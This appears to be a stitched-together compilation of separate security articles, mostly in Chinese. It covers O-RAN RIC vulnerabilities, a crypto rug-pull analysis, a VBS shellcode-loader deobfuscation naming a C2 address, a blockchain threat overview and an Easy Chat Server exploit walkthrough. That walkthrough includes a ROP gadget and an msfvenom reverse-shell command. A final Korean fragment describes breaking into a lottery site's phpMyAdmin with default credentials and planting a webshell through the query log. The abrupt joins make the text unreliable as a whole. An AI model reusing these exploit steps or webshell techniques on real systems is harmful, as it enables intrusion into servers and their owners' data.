O-RAN架構旨在通過採用開放的標準、接口和協議來實現互操作性和靈活性。開放式RAN打破了系統的封閉性,允許運營商從不同的供應商選擇設備和軟件,從而實現更高程度的網絡定制(例如,從一個供應商購買CU,然後從另一個供應商獲得DU)。這允許更多的二、三線設備製造商參與進來。

O-RAN不僅僅是開放接口,它還通過基於人工智能的控制實現對下一代ran的開放訪問。本地網絡實體和RIC之間的開放接口可以促進無線電資源的實時感知、管理和響應。然而,由於其開放標準的性質,O-RAN本質上更容易受到攻擊和其他威脅,因此設計適當的安全機制非常重要。

O-RAN聯盟O-RAN聯盟是一個開放的技術組織,由移動運營商、供應商、研究組織和學術機構組成,致力於推進open RAN概念,該聯盟已經設計了一套open RAN規範。

該聯盟之前與Linux基金會合作開發了該規範的參考實現,稱為O-RAN SC, O-RAN SC規範是開源的,其代碼來自愛立信、諾基亞、三星、Radisys和ATT等頂級RAN供應商。鑑於這種協作努力,許多供應商更有可能將O-RAN SC代碼納入其商業產品中。

O-RAN架構O-RAN聯盟在其網站上提供了O-RAN架構的概述,下圖顯示了O-RAN如何適應5G網絡拓撲結構。

3.png

O-RAN如何適應5G網絡拓撲結構

Near-RT RIC和RIC消息路由器(RMR)Near-RT RIC使用E2接口來控制底層的RAN組件(包括CU、DU和RU),可以將它看作OpenFlow在RAN中的對應組件。 E2接口的要求是能夠將Near-RT RIC連接不同供應商的不同類型的RAN組件。這個要求反映在圍繞服務模型(Service Model) 抽象的API中,其思想是每個RAN組件都發布一個服務模型,定義該組件能夠支持的RAN功能集。

Near-RTRIC是O-RAN體系結構的重要組成部分之一,它對網絡中的RF資源進行監控和管理,以優化網絡性能。它可以實時收集和分析網絡數據,還可以做出智能決策,優化無線資源的配置,使這些資源能夠滿足不同終端設備和服務的需求。

在Near-RT的RIC中,還有許多其他子組件,如E2term、E2Mgr和xApps。這些組件之間的通信依賴於RIC Message Router (RMR)表,在Near-RT的RIC中,該表通常包含與消息的路由和管理相關的信息。這些表包括消息的目的地、優先級、隊列和其他相關屬性等詳細信息。

RMR表包括以下信息:

消息目的地:指定應將消息路由到何處以及應處理該消息的實體或處理程序。優先事項指示處理消息的優先級,以確保重要消息得到更快的響應。

排隊:用於存儲消息以供後續處理。

消息類型:標識消息的類型,以便正確的處理程序能夠處理它。

消息標識符:標識消息的唯一值:它用於跟踪消息狀態和處理進度。

RMR庫是一組用於與RMR表交互的api,它包含在組成Near-RTRIC的組件中,例如xApp和E2Term。例如,兩個獨立xapp之間的交互將通過RMR進行。在這種情況下,xApp_A將根據KPI信息做出判斷,然後通過RMR調用xApp_B。

下圖顯示了使用RMR庫和路由表的Near-RTRIC中組件之間的交互。

4.png

RIC組件如何使用RMR

我們的研究揭示了Near-RTRIC的消息傳遞基礎設施中的多個漏洞。

攻擊方法在Near-RT的RIC中運行,xApps是提供諸如無線電資源優化、網絡監控和性能增強等功能的軟件組件。這些組件可以由網絡運營商、第三方開發人員或網絡設備供應商進一步開發,以增加獨特的價值和功能。從這個意義上說,xApps可以被認為是所有O-RAN組件中最開放的。

這種多廠商生態系統推動了創新,但也帶來了以下挑戰:

安全xApp登錄;

互操作性;

魯棒性問題;

通常情況下,xApps應該來自多個供應商。因此,我們開始研究時假設xApps是一種潛在的攻擊媒介,xApp可能會通過供應鍊或劫持引導進程而受到攻擊。即使是良性的xApp,如果它發出意外的或異常的消息,也會造成傷害。我們的研究結果證實了這些假設。

RMR漏洞CVE-2023-40998:來自xApp的精心製作的惡意數據包導致RT RIC的E2term崩潰。

CVE-2023-40998漏洞涉及錯誤的數據包信息,可能導致解碼過程中的數據包大小為負,從而導致執行內存操作時崩潰。

5.png

CVE-2023-40998消息流

消息大小變為負數的原因是它由數據包的前四個字節決定。如果設置不正確,它可能在解碼過程中導致負值,從而導致崩潰。

CVE-2023-40997:以無效格式發送的精心製作的消息導致Near-RTRIC的E2term崩潰。

6.png

CVE-2023-40997消息流

CVE-2023-40997發送報文無法正確解碼,導致內存地址計算錯誤,導致E2Term崩潰。

CVE-2023-41627:RMR表欺騙E2Term依賴路由管理器定期發送的路由表信息來與RIC系統中的其他組件建立通信,但E2Term不會驗證它接收到的路由表信息的發送方。由於缺乏驗證,攻擊者可以通過向E2Term發送偽造路由表信息來利用CVE-2023-41627漏洞,通過使用路由管理器以更高的頻率將此信息發送給E2Term,攻擊者可以欺騙E2Term併中斷其與其他組件的通信。

7.png

CVE-2023-41627消息流

RMR劫持:兩個xapp使用相同的訂閱ID發送相同的消息類型當xApp_A向訂閱E2節點發送函數ID時,xApp_B向訂閱E2節點發送相同的函數ID。然後,xApp_A RMR表項將被覆蓋,這意味著它不能從E2節點接收消息。相反,E2節點將向第二個xApp_B發送消息。

O-RAN是通信網絡的關鍵組成部分,O-RAN節點存儲加密密鑰並處理用戶流量。

這裡描述的兩個漏洞會導致DoS事件,它們與xApps、RMR和Near-RT的RIC有關。這些組件提供射頻資源優化和流量管理等增值服務。

O-RAN設計用於在RIC/E2組件不可用的情況下進行流量處理。理論上,RIC組件的崩潰不應該關閉蜂窩連接。但是,這可能導致資源利用不暢和服務退化。

同時,RMR欺騙和劫持可以在不關閉任何組件的情況下破壞RIC中的xApp生態系統。這就造成了資源利用率低下和服務退化。

即使是良性的xapp也可能由於實現不當而造成損害。這可能會對O-RAN中多廠商組件的互操作性產生不利影響。

緩解嚴格的驗證和登錄過程可以防止惡意xApps進入系統,即使RIC組件發生故障,確保O-RAN也可以處理網絡流量,這也可以緩解攻擊的影響。

建議使用深度包檢測(DPI)系統來檢查組件之間的流量,以便可以根據需要應用熱補丁。

這個DPI系統能夠理解O-RAN協議。

01.png

“Rug Pull”是一種常見的加密騙局,往往發生於DeFi領域。 DeFi,即“去中心化金融(Decentralized Finance)”,也被稱為“開放式金融”,是以比特幣和以太幣為代表的加密貨幣,區塊鍊和智能合約結合的產物。 DeFi有兩大支柱,一是以比特幣和以太幣為代表的穩定幣,二是實現交易、借貸和投資的智能合約。

Rug Pull騙局通常是指加密行業項目方突然放棄某一個項目或撤出流動性池子,捲走用戶投資資金的詐騙行為,通俗的講就是捲款跑路。

詐騙者在“Rug Pull”之前,會先創建一個加密項目,通過各種營銷手段吸引加密用戶投資,並在合適的時機突然捲走用戶投資的資金,拋售加密資產,投資該項目的用戶也將蒙受巨大損失。

Rug Pull事件回顧FairWin (2019):FairWin 是在以太坊區塊鏈上運作的龐氏騙局,它承諾通過名為FairWin 智能合約的去中心化應用程序(dApp)獲得高回報。然而,該項目的開發商最終捲走了投資者的資金,造成估計數百萬美元的損失。

PlusToken(2019):PlusToken 是一種影響全球的加密貨幣龐氏騙局。它聲稱可以提供高收益的投資回報,並吸引了大量參與者。然而,在2019 年中期,該計劃的運營商消失了,帶走了估計價值20 億美元的加密貨幣。

YAM Finance(2020):YAM Finance 是一個建立在以太坊區塊鏈上的DeFi 項目。它旨在創建一個去中心化的穩定幣和流動性挖礦平台。然而,啟動後不久,就發現了一個編碼缺陷,導致該項目無法持續。 YAM代幣價值暴跌至零,導致投資者遭受重大損失。

Meerkat Finance(2021):Meerkat Finance 是幣安智能鏈(BSC)上的去中心化流動性挖礦項目。它聲稱通過其金庫提供高回報。然而,項目啟動後48小時內,開發商就耗盡了該項目的資金,造成約3100萬美元的損失。

最近,又有攻擊者利用Rug Pull計劃成功竊取了近100萬美元。我們將在本文深入研究這個精心設計的加密騙局的細節,並了解它是如何詐騙的?

Check Point最近識別出了以下地址0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798涉及Rug Pull活動,威脅識別系統已經開始監控與錢包地址相關的活動:

1.png

這是詐騙錢包的餘額,這個地址操作了40個不同的Rug,已經被盜了近100萬美元。

2.png

詐騙(0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798)的策略是根據最新的炒作來創建代幣,以引誘受害者購買他的代幣,例如,代幣名稱GROK 2.0 (0xd4b726c5b5e6f63d16a2050ee3ac4a0f0f81f1d4),可能來源於一個知名的人工智能係統(X GROK),旨在吸引買家。幾週前,受埃隆马云惹不起马云馬斯克AI 項目啟發的原始Grok 代幣的推動,根據DEXTools 的數據,交易量超過600,000 美元。

這個精心設計的騙局是如何運作的,它是如何成功捲走大批量錢的?下面是詳細分析。

創建假令牌:騙局始於創建欺騙性令牌,以令牌GROK 2.0為例,名字的選擇通常反映了熱門話題,以吸引毫無戒心的買家。

向流動性池中添加資金:為了製造合法性假象,詐騙向代幣池中註入資金,創造了一個充滿活力和活躍的代幣的假象。

精心策劃的交易活動:利用合約中的專門功能(0x521da65d),詐騙者執行模擬交易,使其看起來好像真正的買賣正在發生。然而,這只是詐騙精心策劃的一個詭計。

增加交易量:另一個功能(0xf029e7cf)開始發揮作用,促進了WETH加密貨幣和GROK令牌之間的大規模交易。這種人為的通貨膨脹創造了一種高需求和高價值的感覺,吸引投資者加入。

吸引買家:利用代幣的吸引力,用戶開始購買,沒有意識到即將發生的欺騙。

卷錢:一旦代幣充分吸引了投資者,詐騙就會執行最後一步——從代幣池中撤出流動性,讓代幣購買者空手而歸。

5.png

技術分析詐騙者使用兩種不同的智能合約進行交易並增加代幣數量。他使用的第一個合約地址是0x2ef3216e95e2b7c8e378ae64534100e69598f955,其中包含模擬交易功能(0x521da65d)。

函數0 x521da65d函數0x521da65d負責為詐騙出售和購買令牌,這個函數已經為這個令牌執行了226次。函數的行為取決於布爾值varg7,它決定了函數的運行路線,導致了兩個獨立的執行路線。

4.png

第一條路線(0x306b)是從WETH加密貨幣交換到GROK 2.0(購買),如下圖所示:

5.png

第二條路由(0x2bac)表示從GROK 2.0到WETH(銷售)的交換。

6.png

對於第二個智能合約,詐騙者使用地址0x4b2a0290e41623fbfeb5f6a0ea52dc261b65e29b進行操作,在那裡他執行函數0xf029e7cf來人為地提高令牌的數量。

函數0 xf029e7cf這個函數接收五個參數:

7.png

解碼發送給此函數的以下數據,揭示以下參數:

8.png

Varg0是Uniswap路由器地址,詐騙將使用它來交換令牌。

Varg1是WETH加密貨幣地址,將用於與GROK令牌進行交換。

Varg2是GROK 2.0令牌地址。

Varg3是要交換的令牌的數量。

Varg4是交換這個令牌的次數。

9.png

深入研究該函數,我們發現詐騙者使用了來自Uniswap Router (varg0)的“swapExcatToekensSupportingFeeOnTransferTokens”函數,從WETH(varg1)到GROK(varg2)以及從GROK到WETH交換了9次(varg4),總金額為420,000美元,這增加了令牌的數量並吸引交易者和機器人購買它。

swap循環可以在下面的截圖中看到:

1.png

在騙局的最後階段,詐騙在吸引了足夠數量的買家和令牌價格上漲後,從令牌的流動性池中提取了資金。事實證明,他們有81次從他們的欺騙性代幣中去除流動性。

11.png

總結隨著加密領域的不斷發展,保持警惕和了解情況對投資者來說至關重要。最近的Rug Pull事件提醒我們,有必要提高安全意識。通過了解詐騙所採用的策略,我們可以共同努力創造一個更安全、更可靠的加密環境。

如何避免Rug Pull事件的發生:1.在投入資金之前認真研究任何分析投資機會。了解團隊成員、他們的背景以及他們之前的項目。投資者應該對未公開信息的項目抱有質疑態度,要通過項目官網、社交媒體賬戶、社區熱度質量以及白皮書等信息。

2.評估項目團隊的可信度和合法性。尋找與該項目相關的開發人員的信息和知名度。

3.評估項目的社區參與度。團隊積極、透明的溝通至關重要,如果缺乏參與或團隊迴避回答重要問題,請務必謹慎。

4.正規且高質量的項目都會由信譽良好的第三方機構進行代碼審計,外部審計對於去中心化的加密項目格外重要,如果一個項目始終沒有進行代碼外部審計,這個項目就有很多潛在性的風險。投資者應該多方驗證項目外部審計結果,並只認可權威第三方出具的代碼審計報告,代碼中沒有發現任何惡意的項目才值得考慮投資與否。

5.驗證項目的流動性是否鎖定,流動性鎖定減少了撤資的可能性。識別大部分“Rug Pull”騙局最簡單也十分有效的方式是檢查流動性池是否被鎖定,流動性池鎖定的項目安全性較高,有權威第三方參與的鎖定流動性池的項目安全性更高,而流動性池未鎖定的項目極為危險,因為項目方可以輕而易舉地竊取流動性池子裡的所有加密貨幣。

投資者還應檢查流動性池被鎖定的比例,鎖定的比例和項目安全性成正比,一般而言,鎖定的比例應該在80%到100%之間,此外,鎖定的時間也是很重要的指標,流動性池應當受基於時間函數的限制,這意味著沒有人可以在時間限制範圍內移動池子裡的加密貨幣。

6.不要把所有雞蛋放在一個籃子裡。將投資分散到多個項目和資產類別。

7.賣盤控制。賣盤控制是通過惡意代碼實現的,這種方式較為隱秘,投資者可以通過小額購買代幣然後出售的方式來進行測試,如果無法出售,該項目就可判定為騙局。

8.異常暴漲。一個新的項目代幣在沒有重大利好情況下,突然異動暴漲,往往就是利用散戶普遍的“追漲殺跌”心態吸引散戶入局,而代幣價格拉高之後就是大量拋售,也就是常說的“割韭菜”。

投資者可以通過區塊瀏覽器來檢查代幣持有者的數量,數量過少的代幣價格容易被操縱,騙局的可能性極大。

9.可疑的高收益。 “Rug Pull”騙局很多時候就是龐氏騙局,這類騙局就是通過極具誘人的高收益來誘騙投資者,進而欺詐投資者投入的本金,也可以說,收益越高,風險就越大,投資者應該始終保持清醒的頭腦,進而做出明智的判斷。

我們可以通過使用CyberChef和Regex來克服大量基於文本的混淆,在混淆後,系統將識別一些“畸形”的shellcode,我們將在使用SpeakEasy模擬器進行模擬之前手動修復。

哈希:e8710133491bdf0b0d1a2e3d9a2dbbf0d58e0dbb0e0f7c65acef4f788128e1e4,示例鏈接請點此。

TLDR1.識別功能和混淆類型;

2.清除基本混淆與正則表達式和文本編輯器;

3.使用Regex, CyberChef和Subsections去除高級混淆;

4.識別shellcode並修復負字節值(Python或CyberChef);

5.使用Speakeasy驗證和仿真。

初步分析可以使用受感染的密碼保存和解壓縮腳本,這樣我們可以使用文本編輯器(如notepad++)直接打開文件。

打開後,我們可以看到腳本引用了一些Excel對像以及Wscript.Shell,通常用於執行.vbs腳本。

在這個階段,我們將跳轉到使用Wscript來利用Excel執行代碼的假設,避免分析Excel/Wscript組件,直接跳轉到解碼混亂的命令/代碼。

1.png

我們可以假設代碼的初始部分是利用Excel和Wscript來運行一個被混淆的vbs腳本。

混淆技術概述從第30行開始,可以看到兩種主要的混淆形式。

1.腳本被分解成許多小字符串,例如“hello world”將是“hello”&“world”

2.該腳本使用Chr解碼的十進制編碼值。例如,“Hello World”可以是“Hell”& chr(111)&“World”。其中的“0”已轉換為十進制111。

3.每行以下劃線_結尾。雖然這不是混淆,但仍然需要刪除以清理腳本。

2.1.png

2.2.png

現在已經確定3種初始形式的“混淆”,接下來可以繼續使用正則表達式來清除它們。

可以在不使用正則表達式的情況下手動刪除和替換每個值,但這是一個非常繁瑣的過程。在這個腳本中,regex是最好的方法。

在清除第一種形式的混淆後。我們可以使用搜索/替換來做到這一點,使用“&”和空替換值。

3.png

按下確認鍵後,290個字符串分割混淆被刪除了。

4.png

現在,將繼續使用CyberChef來識別和刪除Chr(10)樣式混淆。

這個過程將包括使用一個正則表達式來識別Chr(10),然後使用一個子段來研究這些值並對它們進行解碼,保持剩餘的腳本不變。為此,需要把當前編碼的內容移動到CyberChef中。

用Cyberchef的初步分析現在將腳本移到CyberChef中,可以直接跳到正則表達式(regex)的原型中,以深入研究十進制編碼的值。

對於原型,本文將使用“正則表達式”和“突出匹配”,這是為了確認腳本匹配預期的混淆內容。

這裡使用的正則表達式是Chr \(\d+\):

Chr-需要以Chr開頭的十進制值;

\( and \) -我們希望十進制值包含在括號中,需要轉義括號,因為它們在正則表達式中具有特殊含義;

\d + -指定一個或多個數值;

希望“數值”+“包含在括號中”+“前面加上Chr”。

5.png

由於regex看起來正在運行並正確識別值,因此可以繼續並將其更改為分段。

分段允許僅對匹配正則表達式的數據執行所有將來的操作。這允許我們保持腳本的大部分完整,而只解碼那些混淆並匹配我們的正則表達式的值。

接下來繼續將regex複製到分段,確保禁用原始正則表達式。

6.png

應用了這個小節之後,現在可以應用一個額外的正則表達式來提取十進制值(但只能是包含在Chr中的值)。

從這裡開始,我們現在可以應用“From decimal”來解碼內容。

至此,我們現在有了一個比以前好看得多的腳本,儘管它仍然到處都有&。

7.png

回到文本編輯器

解決了主要的混淆後,可以將CyberChef輸出複制回文本編輯器中。

8.png

& chr(110)&值周圍的&符號仍然存在,可以繼續刪除它們。

9.png

保留了下劃線(visual basic換行符),繼續使用\s +_ \s +刪除它們,這將刪除所有換行符和周圍的空白。

10.1.png

10.2.png

腳本現在看起來乾淨很多,儘管周圍有很多“”,但不會對分析有什麼影響。

我們可以繼續使用“+”的正則表達式刪除這些引號,這將從腳本中刪除所有引號。

11.png

分析清理後的腳本

現在刪除了大部分垃圾代碼,可以繼續查看已解碼的腳本。

可以注意到的第一件事是,在進程注入中有很多api引用(VirtualAllocEx, WriteProcessMemory, CreateProcessA等)。

12.png

稍微向下滾動,我們還可以看到一團十六進製字節和進程名,可能用作進程注入的目標。例如,這個blob字節將被注入rundll32.exe。

13.png

此時,我們可以假設字節是shellcode。這主要是由於長度短,不能作為標準的pe/exe/dll文件。

在繼續之前,可以先刪除最後剩下的下劃線。

14.png

一旦刪除,十六進製字節的blob應該看起來像這樣。 blob太短,不能成為一個完整的PE文件,但是有足夠的空間包含shellcode。

15.png

修復用於表示Shellcode的負十進制值shellcode中存在需要修復的負值。雖然不確定負的值如何在visual basic/.vbs運行,但在這種情況下,似乎-4的值對應於256 -4,即252,這是0xfc,這是在Shellcode開頭看到的一個常見字節(cld標誌)。

在分析可能的shellcode之前,我們需要取所有的負值並從256中減去它們。

這可以在CyberChef或Python中完成,示例如下所示。

CyberChef :這可以通過使用一個分段來提取負值,從值256中減去它們來完成。現在,所有值都可以進行十進制解碼。

16.png

Python:類似於cyberchef,可以迭代十進制值數組,從數字256中減去負值。

在輸出中,我們可以看到明文字符串以及0xfc的初始Shellcode字節。

17.png

兩個輸出也引用了一個可能的C2地址47.98.51[.]47。

18.png

此外,兩個輸出都引用EICAR字符串。這是一個字符串,將自動觸發所有殺毒軟件。

19.png

據分析,這是一個故意的字符串,旨在防止Cobalt Strike的試用版被濫用。

20.1.png

20.2.png

SpeakEasy的Shellcode仿真

0xfc字節的短長度和存在可以讓我們確信結果是shellcode。為了進一步確認,可以繼續在SpeakEasy模擬器中模擬輸出。

21.png

這證實了字節是shellcode,它從ip 47.98.41[.]47充當基於http的下載程序

如上所述,通過分析一個包含shellcode加載器的visual basic腳本,我們成功地識別了一個C2地址,並使用SpeakEasy模擬器確認了shellcode功能。

區塊鏈不再是炒作;它是一種廣泛且可靠的財務和數據管理技術。許多組織投資區塊鏈,使用它們來存儲和共享數據,並在其業務流程中實施它們。但區塊鏈也吸引了網絡犯罪分子的大量關注,他們的目標是敏感的企業數據和加密資產。

保護區塊鍊網絡免受黑客攻擊需要不斷審核和研究新的漏洞和潛在的攻擊媒介。在本文中,我們概述了關鍵的區塊鏈安全漏洞,探討了常見的攻擊媒介,並分享了我們關於減輕允許這些攻擊的風險的知識。

本文對於正在考慮開發或採用基於區塊鏈的應用程序並正在尋找檢查和確保其安全性的方法的企業非常有用。

為什麼黑客經常攻擊區塊鏈?隨著區塊鏈技術在處理數據和財務方面變得司空見慣,對基於區塊鏈的應用程序和網絡的成功攻擊經常出現在新聞中。讓我們看一下區塊鏈受到攻擊的關鍵原因:

image.png

信息處理不安全。許多企業使用區塊鏈不是為了管理財務和代幣,而是為了存儲數據:健康相關信息、供應鏈記錄、商業秘密,甚至投票詳細信息。如果未加密或以其他方式保護,此類記錄總是會吸引惡意行為者,因為它們可用於惡意活動:在暗網上出售數據、勒索組織、實施欺詐等。

大量且無法追踪的加密貨幣。加密貨幣和交易平台成為投資、資金處理和國際交易的常見工具,使其成為黑客攻擊的目標。 2022 年,黑客從加密相關服務中竊取了超過38 億美元。按照設計,區塊鍊網絡內的交易很難追踪到特定的人,這使得加密貨幣竊賊能夠逍遙法外。

將黑客繩之以法的挑戰。調查區塊鏈攻擊需要面臨許多技術和法律挑戰。區塊鏈交易是匿名且加密的,這意味著調查人員需要大量時間才能將欺詐交易追溯到黑客。此外,攻擊者及其受害者通常生活在不同的國家,並受不同的區塊鏈相關立法(如果有)管轄,這進一步使調查變得複雜。

區塊鏈實施的安全性差。儘管區塊鍊網絡和應用程序如雨後春筍般湧現,但並非所有開發它們的組織都對安全性給予足夠的重視。例如,由於Rab13s 漏洞,超過280 個包含價值250 億美元加密貨幣的網絡面臨遭受攻擊的風險。缺乏保護措施實際上是對網絡犯罪分子的邀請。

修復能力有限。作為去中心化的解決方案,區塊鏈應用程序及其核心邏輯通常由開源代碼管理。如果在該代碼中發現漏洞,每個人都會知道它。此外,修復區塊鏈代碼具有挑戰性,有時甚至是不可能的,因為它一旦發布就不可更改。

缺乏防止攻擊的網絡安全人才。保護區塊鏈應用程序免受攻擊不僅涉及安全設計和實施,還涉及定期安全審核和修復新發現的漏洞。此類工作需要許多組織所不具備的網絡安全專業知識。

儘管區塊鏈在網絡安全中的用例很多,但我們不斷看到成功的區塊鏈攻擊。攻擊次數也逐年增加。跟踪加密貨幣盜竊案的Comparitect 報告稱,2021 年成功發生了136 起加密貨幣盜竊案,2022 年發生了199 起,2023 年1 月至11 月期間發生了220 起。

讓我們來看看2023 年以來針對區塊鏈的幾起毀滅性攻擊:

image.png

歐拉金融遭遇一系列閃貸攻擊,導致超過1.95 億美元被盜。攻擊者濫用了平台協議中的一個漏洞,該漏洞允許他們從Euler 的存款池借錢,而無需抵押資產。歐拉與黑客協商歸還大部分被盜資金,並啟動了對其平台的獨立審計。

Bonq的智能合約遭遇了甲骨文黑客攻擊,攻擊者可以操縱某些加密貨幣的交易價格。由於這次黑客攻擊,Bonq 失去了大部分投資者。他們暫停了被利用協議的使用,但無法追回被盜資金。

Mixin Network損失了價值2 億美元的主網資產。該網絡使用託管在雲中的集中式數據庫。攻擊者破壞了該數據庫並獲得了對主網的未經授權的訪問。被盜資金並未歸還,但Mixin Network 承諾退還用戶損失的50%。

正如您所看到的,即使是擁有數百萬美元的區塊鍊網絡也不夠安全,無法確保保護用戶的財務。讓我們看一下惡意行為者可以利用的關鍵潛在漏洞。

區塊鏈安全威脅的主要來源了解可能的漏洞是保護應用程序安全的第一步。以下是導致常見類型區塊鏈攻擊成為可能的漏洞的主要來源:

image.png

聯網網絡是區塊鏈系統的核心方面之一,它由多個相互通信的節點組成。區塊鏈節點應該可以被其他節點發現、同步並且能夠抵禦攻擊和數據包丟失。底層網絡邏輯由以下各項管理:

一種網絡協議,負責在節點之間傳輸事務和塊。可發現性是該協議的重要組成部分,因為它可能會影響節點接收的數據。

共識協議,決定大多數網絡參與者都同意的網絡當前狀態。

節點之間保護不善的網絡可能會導致攻擊者破壞或修改通信。

密碼學加密算法允許區塊鏈使用公私密鑰對加密消息並驗證簽名。在去中心化平台中實施此類算法消除了第三方頒發私鑰的需要。相反,任何人都可以使用必要的軟件和正確實現加密算法來生成密鑰。

一般來說,密碼學有助於保護區塊鏈交易免遭未經授權的訪問。但如果實施不當,它可能會創建後門並授予惡意行為者訪問權限。

貯存區塊鏈依賴於去中心化存儲來包含用戶和錢包詳細信息以及交易記錄等數據。區塊鏈平台不僅在節點之間同步數據,還檢查每筆交易中使用的輸入是否唯一。當網絡增長到數十萬個區塊時,這可能需要很多時間。為了提高效率,區塊鏈平台使用處理塊和事務的索引器來提供對數據的快速訪問。

建立存儲和設計索引器需要謹慎的方法,因為它可能會引入雙重支出或依賴未經確認的交易等問題。

治理儘管區塊鏈技術具有許多安全優勢,但基於區塊鏈的平台仍然由人管理。通常,所有網絡參與者都成為利益相關者,網絡的任何變化都需要利益相關者達成共識。比特幣經典就是此類網絡的一個例子。公共治理可以保護網絡免受可疑更改和襲擊嘗試的影響,但如果未經大多數節點批准,它也會阻止有意義的改進。

一些區塊鏈平台與鏈上去中心化治理相集成,例如Tezos及其自我修正協議。這種方法使集成改進成為一個順利的過程,並降低了網絡分裂的風險。

應用代碼開發錯誤可能會導致區塊鏈應用程序出現意外行為。如果編程語言使用不當,甚至會導致程序崩潰。考慮到區塊鏈系統的去中心化性質,如果由於特定交易而發生崩潰,則可能會停止所有節點。

如果應用程序存在邏輯錯誤,它將無法處理所有負面的使用場景。例如,函數在處理餘額時可能會正確運行,直到傳遞了不正確的負值。

在下一節中,我們將概述惡意內部人員經常用來利用這些區塊鏈漏洞的攻擊。我們還研究了對您的網絡有用的區塊鏈攻擊向量和預防技術。

漏洞概述Easy Chat Server是一款基於Web的在線聊天服務器程序,運行系統為Windows,支持創建多個聊天室,多人在線聊天,該軟件曾出現過多個漏洞。近日,安全研究人員發現該軟件還存在基於棧溢出的漏洞,漏洞編號CVE-2023-4494。該漏洞源於使用HTTP GET對register.ghp文件進行訪問時,未檢查用戶提交的username值的長度是否超過限制,從而使棧緩衝區溢出,覆蓋其他內存空間,可導致任意代碼執行。

影響範圍

=3.1

復現環境

操作系統:Win7 sp1,Kali linux

分析工具:IDA,Windbg,OLLYDBG,Burp Suite

漏洞復現安裝3.1版本的Easy Chat Server程序,安裝完成後主程序路徑為C:\EFS Software\Easy Chat Server\EasyChat.exe。當前服務器IP為192.168.220.128,啟動主程序後,主界面如下圖所示:

QQ截图20231208092942.png

使用瀏覽器對主頁進行訪問,Web主界面如下圖所示:

QQ截图20231208093008.png

根據CVE官方公告,使用HTTP GET對register.ghp文件進行訪問時,username字段可導致漏洞產生。所以使用瀏覽器訪問http://192.168.220.128/register.ghp?username=test進行嘗試,Web響應界面如下圖所示:

QQ截图20231208093036.png

可以看出,register.ghp可能是用戶註冊頁面。同時反編譯EasyChat.exe程序,發現還需要傳遞Password等字段。反編譯如下圖所示:

QQ截图20231208093130.png

再次使用瀏覽器訪問http://192.168.220.128/register.ghp?username=testpassword=testpwd進行嘗試,同時使用Burp Suite進行抓包。根據抓取的數據包,對username字段進行fuzz,嘗試找到使主程序崩潰的username值。 Burp Suite設置如下圖所示:

QQ截图20231208093148.png

當username字段的值為485個A時,Easy Chat Server沒有響應HTTP 200,此時Easy Chat Server主程序已經崩潰,說明此時的username值可能導致了漏洞,如下圖所示:

QQ截图20231208093212.png

QQ截图20231208093218.png

漏洞分析根據以上復現情況,找到了使Easy Chat Server主程序崩潰的username值,但是還沒有確定是否是溢出而導致的崩潰。重啟Easy Chat Server主程序,使用Windbg附加調試,再用Burp Suite將上述復現時的數據包發送到Easy Chat Server主程序。 Windbg立即捕獲到異常,如下圖所示:

QQ截图20231208093244.png

從Windbg中的函數調用堆棧中可以看到,異常發生在HeapFree函數內部。該函數的功能是釋放堆內存空間,從代碼中可以看出,試圖讀取一個不存在的地址41414145的數據,導致了異常。另外,函數調用堆棧中出現大量非法的內存指針值和username中的A字符(十六進制41),似乎是函數返回地址被大量A覆蓋了。為了更直觀的調試,重啟Easy Chat Server主程序,使用OLLYDBG附加調試。在上述出現異常的HeapFree函數地址441AFD處下斷點,再用Burp Suite發送異常數據包。在異常發生前最後一次HeapFree處停下,觀察函數堆棧,如下圖所示:

QQ截图20231208093308.png

此時棧中出現大量HTTP GET發送的username字段值,繼續往下查看,發現堆棧中結構化異常處理(SEH)地址已被username字段的值覆蓋為41414141,說明發生了棧溢出,如下圖所示:

QQ截图20231208093326.png

由於堆棧地址並不是固定的,不方便下斷點。所以從異常發生的前一次HeapFree函數地址處單步調式,觀察堆棧SEH地址變化。經過多次調試,發現在地址4114FB處的sprintf函數調用,覆蓋了SEH和函數返回地址等值,如下圖所示:

QQ截图20231208093346.png

此時Buffer變量大小為256,小於HTTP GET時提交的username的大小485,導致棧溢出,從而導致後面調用HeapFree函數也異常,如下圖所示:

QQ截图20231208093407.png

調用sprintf函數前SEH和函數返回地址,如下圖所示:

QQ截图20231208093428.png

QQ截图20231208093435.png

漏洞利用從上述的分析中可以看出,調用sprintf函數拼接username字段前,沒有檢查username的長度是否超出限制,並且username字段可控,導致棧溢出,可以覆蓋SEH和函數返回地址,導致任意代碼執行。

對於此類漏洞的利用,一般來說可以將SEH函數地址或者函數返回地址覆蓋為棧中可控內容的地址,比如username字段對應的棧地址。但是由於棧地址不固定,需要藉助一些固定的代碼地址作為跳板,構建ROP(Return-oriented programming)鏈,跳轉到可控內容地址執行任意代碼。如果程序開啟了DEP(數據執行保護),還需要使用ROP鏈關閉DEP。

經查,該程序未開啟DEP,如下圖所示:

QQ截图20231208093516.png

ROP鏈使用SSLEAY32.DLL地址為1001AE86處的“pop ebp”,” pop ebx”和“retn”指令,將該地址覆蓋到SEH函數處,如下圖所示:

QQ截图20231208093536.png

利用該漏洞執行的代碼,筆者這裡使用msf的上線payload(載荷)。值得注意的是,payload中不能有00或空格等字符,以免發生截斷,導致利用失敗。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b '\x00\x20' -v shellcode生成python格式的payload,如下圖所示:

QQ截图20231208093555.png

整個漏洞利用結構示意圖,如下圖所示:

QQ截图20231208093615.png

使用python編寫利用腳本,如下圖所示:

QQ截图20231208093635.png

最後在kali中啟動msf,監聽對應的端口8888,運行漏洞利用腳本,msf成功上線,如下圖所示:

QQ截图20231208093653.png

POChttps://www.ddpoc.com/poc/DVB-2023-5622.html

phpmyadmin의 약한 암호를 얻으십시오

복권 사이트의 IP는 정보를 통해 XXX이며, 탐지 스캔은 phpmyadmin이 존재 함을 보여줍니다. 추측을 통해 기본 약한 암호 (루트/루트)를 사용하여 phpmyadmin에 로그인하십시오.

图片

图片

phpmyadmin 배경 SQL 쿼리를 통해 로그 파일에 쉘 쓰기

phpmyadmin의 SQL 쿼리 함수를 사용하여 로그 파일에 문장 트로이 목마를 씁니다.

프로세스와 명령은 다음과 같습니다

1. 로그 함수 켜기 : Global general_log=on을 설정하십시오.

2. phpmyadmin 변수를 클릭하여 로그 파일 이름 :을보십시오.

图片

여기의 로그 파일은 test.php입니다.

3. SQL 명령을 실행하고 로그 파일에 문장을 작성하십시오.

图片

4. 성공적인 실행 후 반환.

图片

